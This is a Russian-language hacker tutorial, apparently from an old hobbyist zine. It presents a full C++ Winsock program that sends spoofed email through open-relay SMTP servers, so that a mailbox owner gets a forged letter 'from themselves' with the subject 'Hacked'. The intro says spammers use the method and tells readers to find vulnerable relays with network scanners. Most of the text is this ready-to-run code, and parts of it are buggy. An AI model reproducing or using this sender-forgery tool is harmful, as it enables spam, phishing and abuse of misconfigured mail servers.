[ Неавторизованная отправка почты ]

В данном примере хочу Вам показать, как использовать 
неавторизованную отправку почты, то есть владелец электронного 
почтового ящика получает письмо от себя. Хочу сразу 
предупредить, что такой способ используют спамеры и это 
чревато проблемами с законодательством.

Ну а теперь приступим к созданию программы. Для этого 
использовалась среда Microsoft Visual C++ 6.0, ну и естественно 
необходим адрес сервера где возможна такая отправка почты. 
На момент написания данного примера у меня имелся адрес хоста 
где это было возможно реализовать, для нахождения таких серверов 
вы можете использовать различные сетевые сканеры, коих много в 
интернете.

--------------[ cut here ]--------------

#include <iostream.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

int main()
{
	WSADATA wsaData; 

	if(!WSAStartup(0x0202,&wsaData))
	{
		cout<<"WSAStartup is ok"<<endl;
		const char  message [] = "Date: 1 April 2007 10.10.10\r\n \
								From: [email protected]\r\nTo:[email protected]\r\n \
								Subject: Hacked \r\n Lazy_elf\r\n";
		

		SOCKET s_smtp = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
		if(s_smtp != SOCKET_ERROR)
		{
			cout<<"socket is ok"<<endl;
			
			sockaddr_in addr_smtp;
			addr_smtp.sin_family      = AF_INET;
			addr_smtp.sin_port        = htons(25);
			addr_smtp.sin_addr.s_addr = inet_addr("*.*.*.*");//Здесь IP сервера

			char status[1024];memset(status,0,sizeof(status));
			if(connect(s_smtp,(PSOCKADDR)&addr_smtp,sizeof(addr_smtp)) != SOCKET_ERROR)
			{
				cout<<"connect is ok"<<endl;
				int ires = recv(s_smtp,status,1024,0);

				if(ires !=  SOCKET_ERROR)
				{
					memset(status,0,sizeof(status));//проверить
					cout<<"recv is ok: "<<status<<endl;//**//
					sprintf(status,"HELO %s\r\n","list.ru");
					
					if(send(s_smtp,status,strlen(status),0) != SOCKET_ERROR)
					{
						cout<<"send is ok"<<status<<endl;//**//
						ires = recv(s_smtp,status,1024,0);
						if(ires !=  SOCKET_ERROR)
						{
							cout<<"send(HELO) is ok"<<status<<endl;//**//
							memset(status,0,sizeof(status));//проверить
							sprintf(status,"MAIL FROM:<%s>\r\n","[email protected]");

							if(send(s_smtp,status,strlen(status),0) != SOCKET_ERROR)
							{
								cout<<"send(MAIL FROM) is ok"<<status<<endl;//**//
								ires = recv(s_smtp,status,1024,0);
								if(ires !=  SOCKET_ERROR)
								{
									cout<<"recv(MAIL FROM) is ok"<<status<<endl;//**//
									memset(status,0,sizeof(status));//проверить

									sprintf(status,"RCPT TO:<%s>\r\n","[email protected]");

									if(send(s_smtp,status,strlen(status),0) != SOCKET_ERROR)
									{
										cout<<"send(RCPT TO) is ok"<<status<<endl;//**//

										//!!!error
										ires = recv(s_smtp,status,1024,0);
										if(ires !=  SOCKET_ERROR)
										{
											cout<<"recv Test (RCPT TO) - "<<status<<endl;//**//

											memset(status,0,sizeof(status));//проверить
											sprintf(status,"DATA\r\n");
											
											send(s_smtp,status,strlen(status),0);//!
											ires = recv(s_smtp,status,1024,0);
											if(ires !=  SOCKET_ERROR)
											{
												cout<<"recv(DATA) is ok"<<status<<endl;//*!*//


												//!!!error
												sprintf(status,"%s\r\n.\r\n",message);
												
												send(s_smtp,status,strlen(status),0);//!
												ires = recv(s_smtp,status,1024,0);
												if(ires !=  SOCKET_ERROR)
												{
													cout<<"recv(message) is ok"<<status<<endl;//**//
													sprintf(status,"QUIT\r\n");

													send(s_smtp,status,strlen(status),0);//!
													ires = recv(s_smtp,status,1024,0);
													if(ires !=  SOCKET_ERROR)
													{
														cout<<"sending mail successfully"<<status<<endl;//**//

													}else{cout<<"ERROR recv(QUIT)"<<endl;}
												}else{cout<<"ERROR recv(message)"<<endl;}
											}else{cout<<"ERROR recv(DATA)"<<endl;}
										}else{cout<<"ERROR recv(RCPT TO)"<<endl;}
									}else{cout<<"ERROR send(RCPT TO)"<<endl;}
								}else{cout<<"ERROR recv(MAIL FROM)"<<endl;}
							}else{cout<<"ERROR send(MAIL FROM)"<<endl;}
						}else{cout<<"ERROR send(HELO)"<<endl;}
					}else{cout<<"ERROR send"<<endl;}
				}else{cout<<"ERROR recv"<<endl;}
			}else{cout<<"ERROR connect"<<endl;}
			closesocket(s_smtp);
		}else{cout<<"ERROR socket"<<endl;}
		if(!WSACleanup()){cout<<"WSACleanup is ok"<<endl;}else{cout<<"ERROR WSACleanup"<<endl;}
	}else{cout<<"ERROR WSAStartup"<<endl;}

	return 0;
}

--------------[ cut here ]--------------

(c) Lazy_elf